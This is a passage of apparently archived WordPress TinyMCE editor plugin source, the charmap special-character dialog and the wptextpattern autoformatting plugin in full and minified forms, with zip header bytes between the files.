          'asterisk operator'
        ],
        [
          '8733',
          'proportional to'
        ],
        [
          '8736',
          'angle'
        ],
        [
          '180',
          'acute accent'
        ],
        [
          '184',
          'cedilla'
        ],
        [
          '170',
          'feminine ordinal indicator'
        ],
        [
          '186',
          'masculine ordinal indicator'
        ],
        [
          '8224',
          'dagger'
        ],
        [
          '8225',
          'double dagger'
        ],
        [
          '192',
          'A - grave'
        ],
        [
          '193',
          'A - acute'
        ],
        [
          '194',
          'A - circumflex'
        ],
        [
          '195',
          'A - tilde'
        ],
        [
          '196',
          'A - diaeresis'
        ],
        [
          '197',
          'A - ring above'
        ],
        [
          '256',
          'A - macron'
        ],
        [
          '198',
          'ligature AE'
        ],
        [
          '199',
          'C - cedilla'
        ],
        [
          '200',
          'E - grave'
        ],
        [
          '201',
          'E - acute'
        ],
        [
          '202',
          'E - circumflex'
        ],
        [
          '203',
          'E - diaeresis'
        ],
        [
          '274',
          'E - macron'
        ],
        [
          '204',
          'I - grave'
        ],
        [
          '205',
          'I - acute'
        ],
        [
          '206',
          'I - circumflex'
        ],
        [
          '207',
          'I - diaeresis'
        ],
        [
          '298',
          'I - macron'
        ],
        [
          '208',
          'ETH'
        ],
        [
          '209',
          'N - tilde'
        ],
        [
          '210',
          'O - grave'
        ],
        [
          '211',
          'O - acute'
        ],
        [
          '212',
          'O - circumflex'
        ],
        [
          '213',
          'O - tilde'
        ],
        [
          '214',
          'O - diaeresis'
        ],
        [
          '216',
          'O - slash'
        ],
        [
          '332',
          'O - macron'
        ],
        [
          '338',
          'ligature OE'
        ],
        [
          '352',
          'S - caron'
        ],
        [
          '217',
          'U - grave'
        ],
        [
          '218',
          'U - acute'
        ],
        [
          '219',
          'U - circumflex'
        ],
        [
          '220',
          'U - diaeresis'
        ],
        [
          '362',
          'U - macron'
        ],
        [
          '221',
          'Y - acute'
        ],
        [
          '376',
          'Y - diaeresis'
        ],
        [
          '562',
          'Y - macron'
        ],
        [
          '222',
          'THORN'
        ],
        [
          '224',
          'a - grave'
        ],
        [
          '225',
          'a - acute'
        ],
        [
          '226',
          'a - circumflex'
        ],
        [
          '227',
          'a - tilde'
        ],
        [
          '228',
          'a - diaeresis'
        ],
        [
          '229',
          'a - ring above'
        ],
        [
          '257',
          'a - macron'
        ],
        [
          '230',
          'ligature ae'
        ],
        [
          '231',
          'c - cedilla'
        ],
        [
          '232',
          'e - grave'
        ],
        [
          '233',
          'e - acute'
        ],
        [
          '234',
          'e - circumflex'
        ],
        [
          '235',
          'e - diaeresis'
        ],
        [
          '275',
          'e - macron'
        ],
        [
          '236',
          'i - grave'
        ],
        [
          '237',
          'i - acute'
        ],
        [
          '238',
          'i - circumflex'
        ],
        [
          '239',
          'i - diaeresis'
        ],
        [
          '299',
          'i - macron'
        ],
        [
          '240',
          'eth'
        ],
        [
          '241',
          'n - tilde'
        ],
        [
          '242',
          'o - grave'
        ],
        [
          '243',
          'o - acute'
        ],
        [
          '244',
          'o - circumflex'
        ],
        [
          '245',
          'o - tilde'
        ],
        [
          '246',
          'o - diaeresis'
        ],
        [
          '248',
          'o slash'
        ],
        [
          '333',
          'o macron'
        ],
        [
          '339',
          'ligature oe'
        ],
        [
          '353',
          's - caron'
        ],
        [
          '249',
          'u - grave'
        ],
        [
          '250',
          'u - acute'
        ],
        [
          '251',
          'u - circumflex'
        ],
        [
          '252',
          'u - diaeresis'
        ],
        [
          '363',
          'u - macron'
        ],
        [
          '253',
          'y - acute'
        ],
        [
          '254',
          'thorn'
        ],
        [
          '255',
          'y - diaeresis'
        ],
        [
          '563',
          'y - macron'
        ],
        [
          '913',
          'Alpha'
        ],
        [
          '914',
          'Beta'
        ],
        [
          '915',
          'Gamma'
        ],
        [
          '916',
          'Delta'
        ],
        [
          '917',
          'Epsilon'
        ],
        [
          '918',
          'Zeta'
        ],
        [
          '919',
          'Eta'
        ],
        [
          '920',
          'Theta'
        ],
        [
          '921',
          'Iota'
        ],
        [
          '922',
          'Kappa'
        ],
        [
          '923',
          'Lambda'
        ],
        [
          '924',
          'Mu'
        ],
        [
          '925',
          'Nu'
        ],
        [
          '926',
          'Xi'
        ],
        [
          '927',
          'Omicron'
        ],
        [
          '928',
          'Pi'
        ],
        [
          '929',
          'Rho'
        ],
        [
          '931',
          'Sigma'
        ],
        [
          '932',
          'Tau'
        ],
        [
          '933',
          'Upsilon'
        ],
        [
          '934',
          'Phi'
        ],
        [
          '935',
          'Chi'
        ],
        [
          '936',
          'Psi'
        ],
        [
          '937',
          'Omega'
        ],
        [
          '945',
          'alpha'
        ],
        [
          '946',
          'beta'
        ],
        [
          '947',
          'gamma'
        ],
        [
          '948',
          'delta'
        ],
        [
          '949',
          'epsilon'
        ],
        [
          '950',
          'zeta'
        ],
        [
          '951',
          'eta'
        ],
        [
          '952',
          'theta'
        ],
        [
          '953',
          'iota'
        ],
        [
          '954',
          'kappa'
        ],
        [
          '955',
          'lambda'
        ],
        [
          '956',
          'mu'
        ],
        [
          '957',
          'nu'
        ],
        [
          '958',
          'xi'
        ],
        [
          '959',
          'omicron'
        ],
        [
          '960',
          'pi'
        ],
        [
          '961',
          'rho'
        ],
        [
          '962',
          'final sigma'
        ],
        [
          '963',
          'sigma'
        ],
        [
          '964',
          'tau'
        ],
        [
          '965',
          'upsilon'
        ],
        [
          '966',
          'phi'
        ],
        [
          '967',
          'chi'
        ],
        [
          '968',
          'psi'
        ],
        [
          '969',
          'omega'
        ],
        [
          '8501',
          'alef symbol'
        ],
        [
          '982',
          'pi symbol'
        ],
        [
          '8476',
          'real part symbol'
        ],
        [
          '978',
          'upsilon - hook symbol'
        ],
        [
          '8472',
          'Weierstrass p'
        ],
        [
          '8465',
          'imaginary part'
        ],
        [
          '8592',
          'leftwards arrow'
        ],
        [
          '8593',
          'upwards arrow'
        ],
        [
          '8594',
          'rightwards arrow'
        ],
        [
          '8595',
          'downwards arrow'
        ],
        [
          '8596',
          'left right arrow'
        ],
        [
          '8629',
          'carriage return'
        ],
        [
          '8656',
          'leftwards double arrow'
        ],
        [
          '8657',
          'upwards double arrow'
        ],
        [
          '8658',
          'rightwards double arrow'
        ],
        [
          '8659',
          'downwards double arrow'
        ],
        [
          '8660',
          'left right double arrow'
        ],
        [
          '8756',
          'therefore'
        ],
        [
          '8834',
          'subset of'
        ],
        [
          '8835',
          'superset of'
        ],
        [
          '8836',
          'not a subset of'
        ],
        [
          '8838',
          'subset of or equal to'
        ],
        [
          '8839',
          'superset of or equal to'
        ],
        [
          '8853',
          'circled plus'
        ],
        [
          '8855',
          'circled times'
        ],
        [
          '8869',
          'perpendicular'
        ],
        [
          '8901',
          'dot operator'
        ],
        [
          '8968',
          'left ceiling'
        ],
        [
          '8969',
          'right ceiling'
        ],
        [
          '8970',
          'left floor'
        ],
        [
          '8971',
          'right floor'
        ],
        [
          '9001',
          'left-pointing angle bracket'
        ],
        [
          '9002',
          'right-pointing angle bracket'
        ],
        [
          '9674',
          'lozenge'
        ],
        [
          '9824',
          'black spade suit'
        ],
        [
          '9827',
          'black club suit'
        ],
        [
          '9829',
          'black heart suit'
        ],
        [
          '9830',
          'black diamond suit'
        ],
        [
          '8194',
          'en space'
        ],
        [
          '8195',
          'em space'
        ],
        [
          '8201',
          'thin space'
        ],
        [
          '8204',
          'zero width non-joiner'
        ],
        [
          '8205',
          'zero width joiner'
        ],
        [
          '8206',
          'left-to-right mark'
        ],
        [
          '8207',
          'right-to-left mark'
        ]
      ];
    };
    var charmapFilter = function (charmap) {
      return global$1.grep(charmap, function (item) {
        return isArray(item) && item.length === 2;
      });
    };
    var getCharsFromSetting = function (settingValue) {
      if (isArray(settingValue)) {
        return [].concat(charmapFilter(settingValue));
      }
      if (typeof settingValue === 'function') {
        return settingValue();
      }
      return [];
    };
    var extendCharMap = function (editor, charmap) {
      var userCharMap = Settings.getCharMap(editor);
      if (userCharMap) {
        charmap = getCharsFromSetting(userCharMap);
      }
      var userCharMapAppend = Settings.getCharMapAppend(editor);
      if (userCharMapAppend) {
        return [].concat(charmap).concat(getCharsFromSetting(userCharMapAppend));
      }
      return charmap;
    };
    var getCharMap$1 = function (editor) {
      return extendCharMap(editor, getDefaultCharMap());
    };
    var CharMap = { getCharMap: getCharMap$1 };

    var get = function (editor) {
      var getCharMap = function () {
        return CharMap.getCharMap(editor);
      };
      var insertChar = function (chr) {
        Actions.insertChar(editor, chr);
      };
      return {
        getCharMap: getCharMap,
        insertChar: insertChar
      };
    };
    var Api = { get: get };

    var getHtml = function (charmap) {
      var gridHtml, x, y;
      var width = Math.min(charmap.length, 25);
      var height = Math.ceil(charmap.length / width);
      gridHtml = '<table role="presentation" cellspacing="0" class="mce-charmap"><tbody>';
      for (y = 0; y < height; y++) {
        gridHtml += '<tr>';
        for (x = 0; x < width; x++) {
          var index = y * width + x;
          if (index < charmap.length) {
            var chr = charmap[index];
            var charCode = parseInt(chr[0], 10);
            var chrText = chr ? String.fromCharCode(charCode) : '&nbsp;';
            gridHtml += '<td title="' + chr[1] + '">' + '<div tabindex="-1" title="' + chr[1] + '" role="button" data-chr="' + charCode + '">' + chrText + '</div>' + '</td>';
          } else {
            gridHtml += '<td />';
          }
        }
        gridHtml += '</tr>';
      }
      gridHtml += '</tbody></table>';
      return gridHtml;
    };
    var GridHtml = { getHtml: getHtml };

    var getParentTd = function (elm) {
      while (elm) {
        if (elm.nodeName === 'TD') {
          return elm;
        }
        elm = elm.parentNode;
      }
    };
    var open = function (editor) {
      var win;
      var charMapPanel = {
        type: 'container',
        html: GridHtml.getHtml(CharMap.getCharMap(editor)),
        onclick: function (e) {
          var target = e.target;
          if (/^(TD|DIV)$/.test(target.nodeName)) {
            var charDiv = getParentTd(target).firstChild;
            if (charDiv && charDiv.hasAttribute('data-chr')) {
              var charCodeString = charDiv.getAttribute('data-chr');
              var charCode = parseInt(charCodeString, 10);
              if (!isNaN(charCode)) {
                Actions.insertChar(editor, String.fromCharCode(charCode));
              }
              if (!e.ctrlKey) {
                win.close();
              }
            }
          }
        },
        onmouseover: function (e) {
          var td = getParentTd(e.target);
          if (td && td.firstChild) {
            win.find('#preview').text(td.firstChild.firstChild.data);
            win.find('#previewTitle').text(td.title);
          } else {
            win.find('#preview').text(' ');
            win.find('#previewTitle').text(' ');
          }
        }
      };
      win = editor.windowManager.open({
        title: 'Special character',
        spacing: 10,
        padding: 10,
        items: [
          charMapPanel,
          {
            type: 'container',
            layout: 'flex',
            direction: 'column',
            align: 'center',
            spacing: 5,
            minWidth: 160,
            minHeight: 160,
            items: [
              {
                type: 'label',
                name: 'preview',
                text: ' ',
                style: 'font-size: 40px; text-align: center',
                border: 1,
                minWidth: 140,
                minHeight: 80
              },
              {
                type: 'spacer',
                minHeight: 20
              },
              {
                type: 'label',
                name: 'previewTitle',
                text: ' ',
                style: 'white-space: pre-wrap;',
                border: 1,
                minWidth: 140
              }
            ]
          }
        ],
        buttons: [{
            text: 'Close',
            onclick: function () {
              win.close();
            }
          }]
      });
    };
    var Dialog = { open: open };

    var register = function (editor) {
      editor.addCommand('mceShowCharmap', function () {
        Dialog.open(editor);
      });
    };
    var Commands = { register: register };

    var register$1 = function (editor) {
      editor.addButton('charmap', {
        icon: 'charmap',
        tooltip: 'Special character',
        cmd: 'mceShowCharmap'
      });
      editor.addMenuItem('charmap', {
        icon: 'charmap',
        text: 'Special character',
        cmd: 'mceShowCharmap',
        context: 'insert'
      });
    };
    var Buttons = { register: register$1 };

    global.add('charmap', function (editor) {
      Commands.register(editor);
      Buttons.register(editor);
      return Api.get(editor);
    });
    function Plugin () {
    }

    return Plugin;

}());
})();
PK�\d[�=�#�!�!charmap/plugin.min.jsnu�[���!function(){"use strict";var e=tinymce.util.Tools.resolve("tinymce.PluginManager"),i=function(e,t){return e.fire("insertCustomChar",{chr:t})},l=function(e,t){var a=i(e,t).chr;e.execCommand("mceInsertContent",!1,a)},a=tinymce.util.Tools.resolve("tinymce.util.Tools"),r=function(e){return e.settings.charmap},n=function(e){return e.settings.charmap_append},o=a.isArray,c=function(e){return o(e)?[].concat((t=e,a.grep(t,function(e){return o(e)&&2===e.length}))):"function"==typeof e?e():[];var t},s=function(e){return function(e,t){var a=r(e);a&&(t=c(a));var i=n(e);return i?[].concat(t).concat(c(i)):t}(e,[["160","no-break space"],["173","soft hyphen"],["34","quotation mark"],["162","cent sign"],["8364","euro sign"],["163","pound sign"],["165","yen sign"],["169","copyright sign"],["174","registered sign"],["8482","trade mark sign"],["8240","per mille sign"],["181","micro sign"],["183","middle dot"],["8226","bullet"],["8230","three dot leader"],["8242","minutes / feet"],["8243","seconds / inches"],["167","section sign"],["182","paragraph sign"],["223","sharp s / ess-zed"],["8249","single left-pointing angle quotation mark"],["8250","single right-pointing angle quotation mark"],["171","left pointing guillemet"],["187","right pointing guillemet"],["8216","left single quotation mark"],["8217","right single quotation mark"],["8220","left double quotation mark"],["8221","right double quotation mark"],["8218","single low-9 quotation mark"],["8222","double low-9 quotation mark"],["60","less-than sign"],["62","greater-than sign"],["8804","less-than or equal to"],["8805","greater-than or equal to"],["8211","en dash"],["8212","em dash"],["175","macron"],["8254","overline"],["164","currency sign"],["166","broken bar"],["168","diaeresis"],["161","inverted exclamation mark"],["191","turned question mark"],["710","circumflex accent"],["732","small tilde"],["176","degree sign"],["8722","minus sign"],["177","plus-minus sign"],["247","division sign"],["8260","fraction slash"],["215","multiplication sign"],["185","superscript one"],["178","superscript two"],["179","superscript three"],["188","fraction one quarter"],["189","fraction one half"],["190","fraction three quarters"],["402","function / florin"],["8747","integral"],["8721","n-ary sumation"],["8734","infinity"],["8730","square root"],["8764","similar to"],["8773","approximately equal to"],["8776","almost equal to"],["8800","not equal to"],["8801","identical to"],["8712","element of"],["8713","not an element of"],["8715","contains as member"],["8719","n-ary product"],["8743","logical and"],["8744","logical or"],["172","not sign"],["8745","intersection"],["8746","union"],["8706","partial differential"],["8704","for all"],["8707","there exists"],["8709","diameter"],["8711","backward difference"],["8727","asterisk operator"],["8733","proportional to"],["8736","angle"],["180","acute accent"],["184","cedilla"],["170","feminine ordinal indicator"],["186","masculine ordinal indicator"],["8224","dagger"],["8225","double dagger"],["192","A - grave"],["193","A - acute"],["194","A - circumflex"],["195","A - tilde"],["196","A - diaeresis"],["197","A - ring above"],["256","A - macron"],["198","ligature AE"],["199","C - cedilla"],["200","E - grave"],["201","E - acute"],["202","E - circumflex"],["203","E - diaeresis"],["274","E - macron"],["204","I - grave"],["205","I - acute"],["206","I - circumflex"],["207","I - diaeresis"],["298","I - macron"],["208","ETH"],["209","N - tilde"],["210","O - grave"],["211","O - acute"],["212","O - circumflex"],["213","O - tilde"],["214","O - diaeresis"],["216","O - slash"],["332","O - macron"],["338","ligature OE"],["352","S - caron"],["217","U - grave"],["218","U - acute"],["219","U - circumflex"],["220","U - diaeresis"],["362","U - macron"],["221","Y - acute"],["376","Y - diaeresis"],["562","Y - macron"],["222","THORN"],["224","a - grave"],["225","a - acute"],["226","a - circumflex"],["227","a - tilde"],["228","a - diaeresis"],["229","a - ring above"],["257","a - macron"],["230","ligature ae"],["231","c - cedilla"],["232","e - grave"],["233","e - acute"],["234","e - circumflex"],["235","e - diaeresis"],["275","e - macron"],["236","i - grave"],["237","i - acute"],["238","i - circumflex"],["239","i - diaeresis"],["299","i - macron"],["240","eth"],["241","n - tilde"],["242","o - grave"],["243","o - acute"],["244","o - circumflex"],["245","o - tilde"],["246","o - diaeresis"],["248","o slash"],["333","o macron"],["339","ligature oe"],["353","s - caron"],["249","u - grave"],["250","u - acute"],["251","u - circumflex"],["252","u - diaeresis"],["363","u - macron"],["253","y - acute"],["254","thorn"],["255","y - diaeresis"],["563","y - macron"],["913","Alpha"],["914","Beta"],["915","Gamma"],["916","Delta"],["917","Epsilon"],["918","Zeta"],["919","Eta"],["920","Theta"],["921","Iota"],["922","Kappa"],["923","Lambda"],["924","Mu"],["925","Nu"],["926","Xi"],["927","Omicron"],["928","Pi"],["929","Rho"],["931","Sigma"],["932","Tau"],["933","Upsilon"],["934","Phi"],["935","Chi"],["936","Psi"],["937","Omega"],["945","alpha"],["946","beta"],["947","gamma"],["948","delta"],["949","epsilon"],["950","zeta"],["951","eta"],["952","theta"],["953","iota"],["954","kappa"],["955","lambda"],["956","mu"],["957","nu"],["958","xi"],["959","omicron"],["960","pi"],["961","rho"],["962","final sigma"],["963","sigma"],["964","tau"],["965","upsilon"],["966","phi"],["967","chi"],["968","psi"],["969","omega"],["8501","alef symbol"],["982","pi symbol"],["8476","real part symbol"],["978","upsilon - hook symbol"],["8472","Weierstrass p"],["8465","imaginary part"],["8592","leftwards arrow"],["8593","upwards arrow"],["8594","rightwards arrow"],["8595","downwards arrow"],["8596","left right arrow"],["8629","carriage return"],["8656","leftwards double arrow"],["8657","upwards double arrow"],["8658","rightwards double arrow"],["8659","downwards double arrow"],["8660","left right double arrow"],["8756","therefore"],["8834","subset of"],["8835","superset of"],["8836","not a subset of"],["8838","subset of or equal to"],["8839","superset of or equal to"],["8853","circled plus"],["8855","circled times"],["8869","perpendicular"],["8901","dot operator"],["8968","left ceiling"],["8969","right ceiling"],["8970","left floor"],["8971","right floor"],["9001","left-pointing angle bracket"],["9002","right-pointing angle bracket"],["9674","lozenge"],["9824","black spade suit"],["9827","black club suit"],["9829","black heart suit"],["9830","black diamond suit"],["8194","en space"],["8195","em space"],["8201","thin space"],["8204","zero width non-joiner"],["8205","zero width joiner"],["8206","left-to-right mark"],["8207","right-to-left mark"]])},t=function(t){return{getCharMap:function(){return s(t)},insertChar:function(e){l(t,e)}}},u=function(e){var t,a,i,r=Math.min(e.length,25),n=Math.ceil(e.length/r);for(t='<table role="presentation" cellspacing="0" class="mce-charmap"><tbody>',i=0;i<n;i++){for(t+="<tr>",a=0;a<r;a++){var o=i*r+a;if(o<e.length){var l=e[o],c=parseInt(l[0],10),s=l?String.fromCharCode(c):"&nbsp;";t+='<td title="'+l[1]+'"><div tabindex="-1" title="'+l[1]+'" role="button" data-chr="'+c+'">'+s+"</div></td>"}else t+="<td />"}t+="</tr>"}return t+="</tbody></table>"},d=function(e){for(;e;){if("TD"===e.nodeName)return e;e=e.parentNode}},m=function(n){var o,e={type:"container",html:u(s(n)),onclick:function(e){var t=e.target;if(/^(TD|DIV)$/.test(t.nodeName)){var a=d(t).firstChild;if(a&&a.hasAttribute("data-chr")){var i=a.getAttribute("data-chr"),r=parseInt(i,10);isNaN(r)||l(n,String.fromCharCode(r)),e.ctrlKey||o.close()}}},onmouseover:function(e){var t=d(e.target);t&&t.firstChild?(o.find("#preview").text(t.firstChild.firstChild.data),o.find("#previewTitle").text(t.title)):(o.find("#preview").text(" "),o.find("#previewTitle").text(" "))}};o=n.windowManager.open({title:"Special character",spacing:10,padding:10,items:[e,{type:"container",layout:"flex",direction:"column",align:"center",spacing:5,minWidth:160,minHeight:160,items:[{type:"label",name:"preview",text:" ",style:"font-size: 40px; text-align: center",border:1,minWidth:140,minHeight:80},{type:"spacer",minHeight:20},{type:"label",name:"previewTitle",text:" ",style:"white-space: pre-wrap;",border:1,minWidth:140}]}],buttons:[{text:"Close",onclick:function(){o.close()}}]})},g=function(e){e.addCommand("mceShowCharmap",function(){m(e)})},p=function(e){e.addButton("charmap",{icon:"charmap",tooltip:"Special character",cmd:"mceShowCharmap"}),e.addMenuItem("charmap",{icon:"charmap",text:"Special character",cmd:"mceShowCharmap",context:"insert"})};e.add("charmap",function(e){return g(e),p(e),t(e)})}();PK�\d[��kb"b"wptextpattern/plugin.jsnu�[���/**
 * Text pattern plugin for TinyMCE
 *
 * @since 4.3.0
 *
 * This plugin can automatically format text patterns as you type. It includes several groups of patterns.
 *
 * Start of line patterns:
 *  As-you-type:
 *  - Unordered list (`* ` and `- `).
 *  - Ordered list (`1. ` and `1) `).
 *
 *  On enter:
 *  - h2 (## ).
 *  - h3 (### ).
 *  - h4 (#### ).
 *  - h5 (##### ).
 *  - h6 (###### ).
 *  - blockquote (> ).
 *  - hr (---).
 *
 * Inline patterns:
 *  - <code> (`) (backtick).
 *
 * If the transformation in unwanted, the user can undo the change by pressing backspace,
 * using the undo shortcut, or the undo button in the toolbar.
 *
 * Setting for the patterns can be overridden by plugins by using the `tiny_mce_before_init` PHP filter.
 * The setting name is `wptextpattern` and the value is an object containing override arrays for each
 * patterns group. There are three groups: "space", "enter", and "inline". Example (PHP):
 *
 * add_filter( 'tiny_mce_before_init', 'my_mce_init_wptextpattern' );
 * function my_mce_init_wptextpattern( $init ) {
 *   $init['wptextpattern'] = wp_json_encode( array(
 *      'inline' => array(
 *        array( 'delimiter' => '**', 'format' => 'bold' ),
 *        array( 'delimiter' => '__', 'format' => 'italic' ),
 *      ),
 *   ) );
 *
 *   return $init;
 * }
 *
 * Note that setting this will override the default text patterns. You will need to include them
 * in your settings array if you want to keep them working.
 */
( function( tinymce, setTimeout ) {
	if ( tinymce.Env.ie && tinymce.Env.ie < 9 ) {
		return;
	}

	/**
	 * Escapes characters for use in a Regular Expression.
	 *
	 * @param {String} string Characters to escape
	 *
	 * @return {String} Escaped characters
	 */
	function escapeRegExp( string ) {
		return string.replace( /[\-\[\]\/\{\}\(\)\*\+\?\.\\\^\$\|]/g, '\\$&' );
	}

	tinymce.PluginManager.add( 'wptextpattern', function( editor ) {
		var VK = tinymce.util.VK;
		var settings = editor.settings.wptextpattern || {};

		var spacePatterns = settings.space || [
			{ regExp: /^[*-]\s/, cmd: 'InsertUnorderedList' },
			{ regExp: /^1[.)]\s/, cmd: 'InsertOrderedList' }
		];

		var enterPatterns = settings.enter || [
			{ start: '##', format: 'h2' },
			{ start: '###', format: 'h3' },
			{ start: '####', format: 'h4' },
			{ start: '#####', format: 'h5' },
			{ start: '######', format: 'h6' },
			{ start: '>', format: 'blockquote' },
			{ regExp: /^(-){3,}$/, element: 'hr' }
		];

		var inlinePatterns = settings.inline || [
			{ delimiter: '`', format: 'code' }
		];

		var canUndo;

		editor.on( 'selectionchange', function() {
			canUndo = null;
		} );

		editor.on( 'keydown', function( event ) {
			if ( ( canUndo && event.keyCode === 27 /* ESCAPE */ ) || ( canUndo === 'space' && event.keyCode === VK.BACKSPACE ) ) {
				editor.undoManager.undo();
				event.preventDefault();
				event.stopImmediatePropagation();
			}

			if ( VK.metaKeyPressed( event ) ) {
				return;
			}

			if ( event.keyCode === VK.ENTER ) {
				enter();
			// Wait for the browser to insert the character.
			} else if ( event.keyCode === VK.SPACEBAR ) {
				setTimeout( space );
			} else if ( event.keyCode > 47 && ! ( event.keyCode >= 91 && event.keyCode <= 93 ) ) {
				setTimeout( inline );
			}
		}, true );

		function inline() {
			var rng = editor.selection.getRng();
			var node = rng.startContainer;
			var offset = rng.startOffset;
			var startOffset;
			var endOffset;
			var pattern;
			var format;
			var zero;

			// We need a non-empty text node with an offset greater than zero.
			if ( ! node || node.nodeType !== 3 || ! node.data.length || ! offset ) {
				return;
			}

			var string = node.data.slice( 0, offset );
			var lastChar = node.data.charAt( offset - 1 );

			tinymce.each( inlinePatterns, function( p ) {
				// Character before selection should be delimiter.
				if ( lastChar !== p.delimiter.slice( -1 ) ) {
					return;
				}

				var escDelimiter = escapeRegExp( p.delimiter );
				var delimiterFirstChar = p.delimiter.charAt( 0 );
				var regExp = new RegExp( '(.*)' + escDelimiter + '.+' + escDelimiter + '$' );
				var match = string.match( regExp );

				if ( ! match ) {
					return;
				}

				startOffset = match[1].length;
				endOffset = offset - p.delimiter.length;

				var before = string.charAt( startOffset - 1 );
				var after = string.charAt( startOffset + p.delimiter.length );

				// test*test*  => format applied.
				// test *test* => applied.
				// test* test* => not applied.
				if ( startOffset && /\S/.test( before ) ) {
					if ( /\s/.test( after ) || before === delimiterFirstChar ) {
						return;
					}
				}

				// Do not replace when only whitespace and delimiter characters.
				if ( ( new RegExp( '^[\\s' + escapeRegExp( delimiterFirstChar ) + ']+$' ) ).test( string.slice( startOffset, endOffset ) ) ) {
					return;
				}

				pattern = p;

				return false;
			} );

			if ( ! pattern ) {
				return;
			}

			format = editor.formatter.get( pattern.format );

			if ( format && format[0].inline ) {
				editor.undoManager.add();

				editor.undoManager.transact( function() {
					node.insertData( offset, '\uFEFF' );

					node = node.splitText( startOffset );
					zero = node.splitText( offset - startOffset );

					node.deleteData( 0, pattern.delimiter.length );
					node.deleteData( node.data.length - pattern.delimiter.length, pattern.delimiter.length );

					editor.formatter.apply( pattern.format, {}, node );

					editor.selection.setCursorLocation( zero, 1 );
				} );

				// We need to wait for native events to be triggered.
				setTimeout( function() {
					canUndo = 'space';

					editor.once( 'selectionchange', function() {
						var offset;

						if ( zero ) {
							offset = zero.data.indexOf( '\uFEFF' );

							if ( offset !== -1 ) {
								zero.deleteData( offset, offset + 1 );
							}
						}
					} );
				} );
			}
		}

		function firstTextNode( node ) {
			var parent = editor.dom.getParent( node, 'p' ),
				child;

			if ( ! parent ) {
				return;
			}

			while ( child = parent.firstChild ) {
				if ( child.nodeType !== 3 ) {
					parent = child;
				} else {
					break;
				}
			}

			if ( ! child ) {
				return;
			}

			if ( ! child.data ) {
				if ( child.nextSibling && child.nextSibling.nodeType === 3 ) {
					child = child.nextSibling;
				} else {
					child = null;
				}
			}

			return child;
		}

		function space() {
			var rng = editor.selection.getRng(),
				node = rng.startContainer,
				parent,
				text;

			if ( ! node || firstTextNode( node ) !== node ) {
				return;
			}

			parent = node.parentNode;
			text = node.data;

			tinymce.each( spacePatterns, function( pattern ) {
				var match = text.match( pattern.regExp );

				if ( ! match || rng.startOffset !== match[0].length ) {
					return;
				}

				editor.undoManager.add();

				editor.undoManager.transact( function() {
					node.deleteData( 0, match[0].length );

					if ( ! parent.innerHTML ) {
						parent.appendChild( document.createElement( 'br' ) );
					}

					editor.selection.setCursorLocation( parent );
					editor.execCommand( pattern.cmd );
				} );

				// We need to wait for native events to be triggered.
				setTimeout( function() {
					canUndo = 'space';
				} );

				return false;
			} );
		}

		function enter() {
			var rng = editor.selection.getRng(),
				start = rng.startContainer,
				node = firstTextNode( start ),
				i = enterPatterns.length,
				text, pattern, parent;

			if ( ! node ) {
				return;
			}

			text = node.data;

			while ( i-- ) {
				if ( enterPatterns[ i ].start ) {
					if ( text.indexOf( enterPatterns[ i ].start ) === 0 ) {
						pattern = enterPatterns[ i ];
						break;
					}
				} else if ( enterPatterns[ i ].regExp ) {
					if ( enterPatterns[ i ].regExp.test( text ) ) {
						pattern = enterPatterns[ i ];
						break;
					}
				}
			}

			if ( ! pattern ) {
				return;
			}

			if ( node === start && tinymce.trim( text ) === pattern.start ) {
				return;
			}

			editor.once( 'keyup', function() {
				editor.undoManager.add();

				editor.undoManager.transact( function() {
					if ( pattern.format ) {
						editor.formatter.apply( pattern.format, {}, node );
						node.replaceData( 0, node.data.length, ltrim( node.data.slice( pattern.start.length ) ) );
					} else if ( pattern.element ) {
						parent = node.parentNode && node.parentNode.parentNode;

						if ( parent ) {
							parent.replaceChild( document.createElement( pattern.element ), node.parentNode );
						}
					}
				} );

				// We need to wait for native events to be triggered.
				setTimeout( function() {
					canUndo = 'enter';
				} );
			} );
		}

		function ltrim( text ) {
			return text ? text.replace( /^\s+/, '' ) : '';
		}
	} );
} )( window.tinymce, window.setTimeout );
PK�\d[Y�D�11wptextpattern/plugin.min.jsnu�[���!function(u,p){function h(e){return e.replace(/[\-\[\]\/\{\}\(\)\*\+\?\.\\\^\$\|]/g,"\\$&")}u.Env.ie&&u.Env.ie<9||u.PluginManager.add("wptextpattern",function(s){var f,d=u.util.VK,e=s.settings.wptextpattern||{},t=e.space||[{regExp:/^[*-]\s/,cmd:"InsertUnorderedList"},{regExp:/^1[.)]\s/,cmd:"InsertOrderedList"}],l=e.enter||[{start:"##",format:"h2"},{start:"###",format:"h3"},{start:"####",format:"h4"},{start:"#####",format:"h5"},{start:"######",format:"h6"},{start:">",format:"blockquote"},{regExp:/^(-){3,}$/,element:"hr"}],a=e.inline||[{delimiter:"`",format:"code"}];function c(){var r,i,o,t,d,l,e=s.selection.getRng(),n=e.startContainer,c=e.startOffset;n&&3===n.nodeType&&n.data.length&&c&&(d=n.data.slice(0,c),l=n.data.charAt(c-1),u.each(a,function(e){if(l===e.delimiter.slice(-1)){var t=h(e.delimiter),n=e.delimiter.charAt(0),t=new RegExp("(.*)"+t+".+"+t+"$"),t=d.match(t);if(t){r=t[1].length,i=c-e.delimiter.length;var t=d.charAt(r-1),a=d.charAt(r+e.delimiter.length);if(!(r&&/\S/.test(t)&&(/\s/.test(a)||t===n)||new RegExp("^[\\s"+h(n)+"]+$").test(d.slice(r,i))))return o=e,!1}}}),o)&&(e=s.formatter.get(o.format))&&e[0].inline&&(s.undoManager.add(),s.undoManager.transact(function(){n.insertData(c,"\ufeff"),n=n.splitText(r),t=n.splitText(c-r),n.deleteData(0,o.delimiter.length),n.deleteData(n.data.length-o.delimiter.length,o.delimiter.length),s.formatter.apply(o.format,{},n),s.selection.setCursorLocation(t,1)}),p(function(){f="space",s.once("selectionchange",function(){var e;t&&-1!==(e=t.data.indexOf("\ufeff"))&&t.deleteData(e,e+1)})}))}function g(e){var t,n=s.dom.getParent(e,"p");if(n){for(;(t=n.firstChild)&&3!==t.nodeType;)n=t;if(t)return t=t.data?t:t.nextSibling&&3===t.nextSibling.nodeType?t.nextSibling:null}}function m(){var n,a,r=s.selection.getRng(),i=r.startContainer;i&&g(i)===i&&(n=i.parentNode,a=i.data,u.each(t,function(e){var t=a.match(e.regExp);if(t&&r.startOffset===t[0].length)return 